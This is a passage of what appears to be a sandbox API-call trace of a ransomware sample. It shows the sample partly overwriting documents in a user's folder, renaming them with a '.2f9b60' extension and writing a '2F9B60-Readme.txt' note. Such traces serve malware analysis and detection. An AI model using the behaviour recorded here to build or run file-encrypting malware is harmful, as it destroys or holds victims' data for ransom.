HALPmcxz\\Documents\\8898e4ab1b5f908ba71e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce113f0 [0092.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce113f0) returned 1 [0092.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.025] NtQueryInformationFile (in: FileHandle=0xd58, IoStatusBlock=0x213ff858, FileInformation=0x213ff868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x213ff858, FileInformation=0x213ff868) returned 0x0 [0092.025] NtSetInformationFile (FileHandle=0xd58, IoStatusBlock=0x213ff858, FileInformation=0x213ff868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4da40) returned 1 [0092.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0092.026] FlushFileBuffers (hFile=0xd58) returned 1 [0092.086] CloseHandle (hObject=0xd58) returned 1 [0092.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ec90 [0092.087] wcscpy (in: _Dest=0x1b85ec90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.087] wcscat (in: _Dest=0x1b85ec90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.087] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0092.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7842e0) returned 1 Thread: id = 486 os_tid = 0xc6c [0091.949] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3xioac vt3gpv8v28-.docx")) returned 0x20 [0091.949] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx", dwFileAttributes=0x20) returned 1 [0091.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3xioac vt3gpv8v28-.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xde0 [0091.950] GetFileSizeEx (in: hFile=0xde0, lpFileSize=0x214ef880 | out: lpFileSize=0x214ef880*=27106) returned 1 [0091.950] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x69de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.950] ReadFile (in: hFile=0xde0, lpBuffer=0x214ef800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x214ef848, lpOverlapped=0x0 | out: lpBuffer=0x214ef800*, lpNumberOfBytesRead=0x214ef848*=0x4, lpOverlapped=0x0) returned 1 [0091.951] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0091.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0091.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0091.951] NtQuerySystemTime (in: CurrentTime=0x214ef740 | out: CurrentTime=0x214ef740*=132462176977882000) returned 0x0 [0091.951] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x6c1a936d [0091.951] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x72851346 [0091.951] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x38305b52 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x26da4b41 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x330dcc85 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x44a6b52c [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x5762e102 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x56a04fdf [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x2c4742a2 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x7b7acf01 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x1d76dcd1 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x62fd5059 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x673b2490 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x8d7982 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x23e8b4fc [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x2cb02560 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x171e9077 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x3f6b6125 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x52916aff [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x67c994a9 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x515d71a0 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x66e3b415 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x62710695 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x44a6b52c [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x760d749f [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x1924cb61 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x63519b94 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x49c2c2be [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x33a6f482 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x7a7b7757 [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0x31c679ca [0091.952] RtlRandomEx (in: Seed=0x214ef730 | out: Seed=0x214ef730) returned 0xa305974 [0091.963] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.963] ReadFile (in: hFile=0xde0, lpBuffer=0x20179560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x214ef7a0, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesRead=0x214ef7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.963] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0091.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0091.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0091.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0091.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0091.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0091.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bc0) returned 1 [0091.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0091.964] WriteFile (in: hFile=0xde0, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x214ef7a0, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x214ef7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0092.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0092.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bc20 [0092.002] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.002] WriteFile (in: hFile=0xde0, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x214ef850, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x214ef850*=0x120, lpOverlapped=0x0) returned 1 [0092.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0092.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0092.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7470) returned 1 [0092.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0092.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0092.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b90) returned 1 [0092.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ad0) returned 1 [0092.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7add40 [0092.007] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx" [0092.007] wcscat (in: _Dest=0x1b7add40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx.2f9b60" [0092.007] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx.2f9b60", NtPathName=0x214ef870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1079c0 [0092.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0092.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.009] NtQueryInformationFile (in: FileHandle=0xde0, IoStatusBlock=0x214ef8d8, FileInformation=0x214ef8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x214ef8d8, FileInformation=0x214ef8e8) returned 0x0 [0092.009] NtSetInformationFile (FileHandle=0xde0, IoStatusBlock=0x214ef8d8, FileInformation=0x214ef8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0092.011] FlushFileBuffers (hFile=0xde0) returned 1 [0092.077] CloseHandle (hObject=0xde0) returned 1 [0092.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ec90 [0092.079] wcscpy (in: _Dest=0x1b85ec90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.079] wcscat (in: _Dest=0x1b85ec90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.079] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0xffffffff [0092.079] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xde0 [0092.080] WriteFile (in: hFile=0xde0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x214ef790, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x214ef790*=0xba9, lpOverlapped=0x0) returned 1 [0092.081] CloseHandle (hObject=0xde0) returned 1 [0092.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0092.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784250) returned 1 Thread: id = 487 os_tid = 0xc70 [0091.967] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6qrNB6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6qrnb6.pps")) returned 0x20 [0091.968] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6qrNB6.pps", dwFileAttributes=0x20) returned 1 [0091.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6qrNB6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6qrnb6.pps"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdb4 [0091.969] GetFileSizeEx (in: hFile=0xdb4, lpFileSize=0x2161f7a0 | out: lpFileSize=0x2161f7a0*=69668) returned 1 [0091.969] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x11020, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.969] ReadFile (in: hFile=0xdb4, lpBuffer=0x2161f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2161f768, lpOverlapped=0x0 | out: lpBuffer=0x2161f720*, lpNumberOfBytesRead=0x2161f768*=0x4, lpOverlapped=0x0) returned 1 [0091.970] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0091.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0091.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0091.970] NtQuerySystemTime (in: CurrentTime=0x2161f660 | out: CurrentTime=0x2161f660*=132462176978038000) returned 0x0 [0091.970] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x3a3be981 [0091.970] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x8944c64 [0091.970] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x5b202ae6 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x124e8ed0 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x6289db9b [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x4430f4e [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x231b327b [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x631434a1 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x24d1da93 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x4899b59a [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x4ffb5bcc [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x288ae8da [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x470ff462 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x29f64860 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x12812607 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x3dd76d95 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x65313ae5 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x53df1ebe [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x10c083e7 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x68ba6209 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0xb6f89 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x7a43d349 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x3e398746 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x4899b59a [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x7bf5ca6b [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x6415e613 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x124e8ed0 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x716dfa48 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x34cafc44 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x66e10581 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x3519f460 [0091.971] RtlRandomEx (in: Seed=0x2161f650 | out: Seed=0x2161f650) returned 0x2735b15c [0091.980] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.980] ReadFile (in: hFile=0xdb4, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2161f6c0, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x2161f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.980] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0091.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0091.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bc0) returned 1 [0091.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ea520 [0091.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0091.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0091.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0091.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0091.981] WriteFile (in: hFile=0xdb4, lpBuffer=0x201ea520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2161f6c0, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesWritten=0x2161f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0092.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e6910) returned 1 [0092.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced7650 [0092.005] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.005] WriteFile (in: hFile=0xdb4, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2161f770, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2161f770*=0x106, lpOverlapped=0x0) returned 1 [0092.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0092.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0092.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0092.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0092.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0092.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0092.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0092.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0092.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f3f0 [0092.014] sprintf (in: _Dest=0x1cd9f3f0, _Format="%c%c" | out: _Dest="8d") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f3f2, _Format="%c%c" | out: _Dest="40") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f3f4, _Format="%c%c" | out: _Dest="5f") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f3f6, _Format="%c%c" | out: _Dest="00") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f3f8, _Format="%c%c" | out: _Dest="26") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f3fa, _Format="%c%c" | out: _Dest="11") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f3fc, _Format="%c%c" | out: _Dest="55") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f3fe, _Format="%c%c" | out: _Dest="d8") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f400, _Format="%c%c" | out: _Dest="0b") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f402, _Format="%c%c" | out: _Dest="f2") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f404, _Format="%c%c" | out: _Dest="f4") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f406, _Format="%c%c" | out: _Dest="81") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f408, _Format="%c%c" | out: _Dest="be") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f40a, _Format="%c%c" | out: _Dest="45") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f40c, _Format="%c%c" | out: _Dest="e1") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f40e, _Format="%c%c" | out: _Dest="f7") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f410, _Format="%c%c" | out: _Dest="c7") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f412, _Format="%c%c" | out: _Dest="fb") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f414, _Format="%c%c" | out: _Dest="1a") returned 2 [0092.014] sprintf (in: _Dest=0x1cd9f416, _Format="%c%c" | out: _Dest="02") returned 2 [0092.014] RtlInitAnsiString (in: DestinationString=0x2161f7e8, SourceString="8d405f00261155d80bf2f481be45e1f7c7fb1a02" | out: DestinationString="8d405f00261155d80bf2f481be45e1f7c7fb1a02") [0092.014] RtlAnsiStringToUnicodeString (in: DestinationString=0x2161f7b8, SourceString="8d405f00261155d80bf2f481be45e1f7c7fb1a02", AllocateDestinationString=1 | out: DestinationString="8d405f00261155d80bf2f481be45e1f7c7fb1a02") returned 0x0 [0092.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d030 [0092.015] wcscat (in: _Dest=0x1b85ec90, _Source="8d405f0026" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8d405f0026") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8d405f0026" [0092.015] wcscat (in: _Dest=0x1b85ec90, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8d405f0026.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8d405f0026.2f9b60" [0092.015] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8d405f0026.2f9b60", NtPathName=0x2161f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8d405f0026.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7add40 [0092.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0092.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.016] NtQueryInformationFile (in: FileHandle=0xdb4, IoStatusBlock=0x2161f7f8, FileInformation=0x2161f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2161f7f8, FileInformation=0x2161f808) returned 